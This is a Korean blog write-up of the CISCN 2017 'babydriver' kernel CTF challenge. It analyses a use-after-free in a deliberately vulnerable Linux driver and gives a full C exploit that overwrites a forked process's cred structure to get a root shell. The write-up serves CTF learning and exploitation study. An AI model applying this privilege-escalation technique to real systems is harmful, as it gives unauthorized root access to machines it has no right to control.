ii4gsp
[Kernel] CISCN 2017 - babydriver (linux kernel UAF) 본문
문제 파일을 압축해제해주면 boot.sh, bzImage, rootfs.cpio 3개의 파일이 주어진다.
위의 명령어를 사용해서 rootf.cpio의 압축을 해제해주자.
파일 시스템을 압축 해제해주면 /lib/modules/4.4.72/ 디렉토리에 babydriver.ko 파일이 보인다.
이 파일이 분석할 커널 모듈이다.
#!/bin/bash
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
boot.sh 파일에서 64M이라고 되어있는 램 메모리를 256M으로 확장해주자.
./boot.sh 명령어로 시스템을 부팅해주면 정상적으로 ctf 권한을 가진 상태로 부팅이 된다.
ctf 권한을 root 권한으로 LPE 해주면된다.
커널 모듈을 분석해보자.
int __cdecl babydriver_init()
{
int v0; // edx
int v1; // ebx
class *v2; // rax
__int64 v3; // rax
if ( (signed int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
cdev_init(&cdev_0, &fops);
cdev_0.owner = &_this_module;
v1 = cdev_add(&cdev_0, babydev_no, 1LL);
if ( v1 >= 0 )
{
v2 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v2;
if ( v2 )
{
v3 = device_create(v2, 0LL, babydev_no, 0LL, "babydev");
v0 = 0;
if ( v3 )
return v0;
printk(&unk_351);
class_destroy(babydev_class);
}
else
{
printk(&unk_33B);
}
cdev_del(&cdev_0);
}
else
{
printk(&unk_327);
}
unregister_chrdev_region(babydev_no, 1LL);
return v1;
}
printk(&unk_309);
return 1;
}
커널에서 모듈을 불러올때 가장 먼저 실행되는 함수이다.
alloc_chrdev_region() 함수로 캐릭터 디바이스의 번호를 할당한다.
void __cdecl babydriver_exit()
{
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_0);
unregister_chrdev_region(babydev_no, 1LL);
}
모듈이 종료될때 호출되는 함수이다.
init() 함수에서 할당한 디바이스를 제거하는 함수이다.
문제와 상관없는 함수이다.
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}
함수가 호출되면 64byte만큼 babydev_struct 구조체의 device_buf에 힙을 할당한다.
그리고 babydev_struct 구조체의 device_buf_len 필드에 크기 64를 저장한다.
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}
device_buf가 NULL이라면 -1을 반환하고 device_buf_len이 v4보다 크다면 copy_from_user() 함수를 호출하여 2번째 인자인 buffer 데이터를 커널 영역으로 복사한다.
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}
write()함수와 마찬가지로 device_buf가 NULL이라면 -1을 반환하고 device_buf_len이 v4보다 크다면 copy_to_user() 함수를 호출하여 커널 영역의 데이터를 buffer 즉, 유저 영역에 저장한다.
// local variable allocation has failed, the output may be wrong!
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax
_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&unk_2EB);
result = -22LL;
}
return result;
}
2번째 인자 command가 0x10001이라면 device_buf를 해제하고 3번째 인자만큼 힙을 재할당한다.
여기서 힙을 해제할때 open했을때 할당받은 힙 영역일 것이다.
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}
release() 함수는 close() 함수가 호출될때 호출된다.
device_buf를 해제하지만 해제하면서 초기화 작업을 하지않는다.
즉, Dangling Pointer가 된다.
Dangling Pointer란 해제된 메모리 영역을 가리키는 포인터를 말한다.
#ifdef __ARCH_WANT_SYS_CLONE
#ifdef CONFIG_CLONE_BACKWARDS
SYSCALL_DEFINE5(clone, unsigned long, clone_flags, unsigned long, newsp,
int __user *, parent_tidptr,
unsigned long, tls,
int __user *, child_tidptr)
#elif defined(CONFIG_CLONE_BACKWARDS2)
SYSCALL_DEFINE5(clone, unsigned long, newsp, unsigned long, clone_flags,
int __user *, parent_tidptr,
int __user *, child_tidptr,
unsigned long, tls)
#elif defined(CONFIG_CLONE_BACKWARDS3)
SYSCALL_DEFINE6(clone, unsigned long, clone_flags, unsigned long, newsp,
int, stack_size,
int __user *, parent_tidptr,
int __user *, child_tidptr,
unsigned long, tls)
#else
SYSCALL_DEFINE5(clone, unsigned long, clone_flags, unsigned long, newsp,
int __user *, parent_tidptr,
int __user *, child_tidptr,
unsigned long, tls)
#endif
{
return _do_fork(clone_flags, newsp, 0, parent_tidptr, child_tidptr, tls);
}
#endif
권한 상승을 위해 fork() 함수를 호출해야 하는데 fork() 함수를 호출하면 시스템 콜 clone() 함수를 호출하여 사용처리가 된다.
clone() 내부에서는 do_fork() 함수를 호출한다.
do_fork() 함수 내부를 보자.
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct completion vfork;
struct pid *pid;
struct task_struct *p;
int trace = 0;
long nr;
/*
* Determine whether and which event to report to ptracer. When
* called from kernel_thread or CLONE_UNTRACED is explicitly
* requested, no event is reported; otherwise, report if the event
* for the type of forking is enabled.
*/
if (!(clone_flags & CLONE_UNTRACED)) {
if (clone_flags & CLONE_VFORK)
trace = PTRACE_EVENT_VFORK;
else if ((clone_flags & CSIGNAL) != SIGCHLD)
trace = PTRACE_EVENT_CLONE;
else
trace = PTRACE_EVENT_FORK;
if (likely(!ptrace_event_enabled(current, trace)))
trace = 0;
}
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
if (IS_ERR(p))
return PTR_ERR(p);
...
do_fork() 함수 내부에서는 copy_process() 함수를 호출한다.
copy_process() 함수 내부를 보자.
#ifdef CONFIG_PROVE_LOCKING
DEBUG_LOCKS_WARN_ON(!p->hardirqs_enabled);
DEBUG_LOCKS_WARN_ON(!p->softirqs_enabled);
#endif
retval = -EAGAIN;
if (atomic_read(&p->real_cred->user->processes) >=
task_rlimit(p, RLIMIT_NPROC)) {
if (p->real_cred->user != INIT_USER &&
!capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN))
goto bad_fork_free;
}
current->flags &= ~PF_NPROC_EXCEEDED;
retval = copy_creds(p, clone_flags);
if (retval < 0)
goto bad_fork_free;
/*
* If multiple threads are within copy_process(), then this check
* triggers too late. This doesn't hurt, the check is only there
* to stop root fork bombs.
*/
retval = -EAGAIN;
if (nr_threads >= max_threads)
goto bad_fork_cleanup_count;
...
task_struct를 인자로 copy_creds() 함수를 호출한다.
다시 copy_creds() 함수 내부로 가보자.
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
...
copy_creds() 함수 내부에서는 prepare_creds() 함수를 호출한다.
또 내부로 들어가주자.......
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;
validate_process_creds();
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_creds() alloc %p", new);
old = task->cred;
memcpy(new, old, sizeof(struct cred));
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_group_info(new->group_info);
get_uid(new->user);
get_user_ns(new->user_ns);
...
prepare_creds() 함수 내부에서는 kmem_cache_alloc() 함수를 호출한다.
위에서 부터 함수 내부로 계속해서 들어온 결과
fork() -> clone() -> do_fork() -> copy_process() -> copy_creds() -> prepare_creds() -> kmem_cache_alloc()
순서로 호출이된다.
(gdb) p sizeof(struct cred)
$1 = 168
(gdb)
fork() 함수를 호출하면 기존 cred를 복사할 공간이 필요하다.
cred 구조체의 크기는 168byte이다.
익스 시나리오는 다음과 같다.
1. open() 함수를 2번 호출하여 힙을 할당.
2. babyioctl() 함수를 호출하여 168byte 만큼 재 할당
3. close() 함수를 호출하여 힙을 해제
4. fork() 함수 호출
5. write() 함수를 호출하여 struct cred 값 변경
3번 까지 진행되었다면 전역변수의 값은 Dangling Pointer가 된다.
그 후 4번을 진행하게 되면 해제 한 힙 영역에 struct cred가 할당되고 Dangling Pointer는 할당된 168byte 힙 영역을 가르키게 된다.
5번이 진행되면 write() 함수를 호출하여 struct cred를 0으로 수정 후 system("/bin/sh") 함수를 호출하면 root 권한의 쉘을 획득한다.
// gcc -o exploit exploit.c -static
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#define COMMAND 0x10001
int main()
{
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, COMMAND, 168);
close(fd1);
int pid = fork();
if(pid < 0)
{
printf("ERROR");
exit(-1);
}
else if(pid == 0)
{
char fake_cred[30] = { 0, };
write(fd2, fake_cred, 28);
sleep(1);
system("/bin/sh");
exit(0);
}
else
{
wait(0);
}
close(fd2);
return 0;
}
익스플로잇 코드를 작성해주자.
반드시 -static 옵션을 주어야한다.
find .| cpio -o --format=newc > ./rootfs.cpio
익스 코드를 컴파일 후 파일 시스템이 있는 디렉토리로 컴파일된 파일을 옮기고 위의 명령어를 입력해주면 파일 시스템에 컴파일한 파일이 포함된다.
LPE
'시스템 해킹 > Kernel' 카테고리의 다른 글
[1-day Analysis] CVE-2020-1027 ( Windows buffer overflow in CSRSS ) (0) | 2021.02.15 |
---|---|
[Kernel] STARCTF 2019 - hackme (0) | 2021.02.15 |
[Kernel] hack.lu 2019 - Baby_Kernel 2 (0) | 2021.02.14 |
[Kernel] QWB CTF 2018 - core (linux kernel exploit) (0) | 2021.01.07 |
[1-day Analysis] CVE-2017-2370 ( Heap Overflow in macOS Sierra 10.12.2 ) (2) | 2020.11.24 |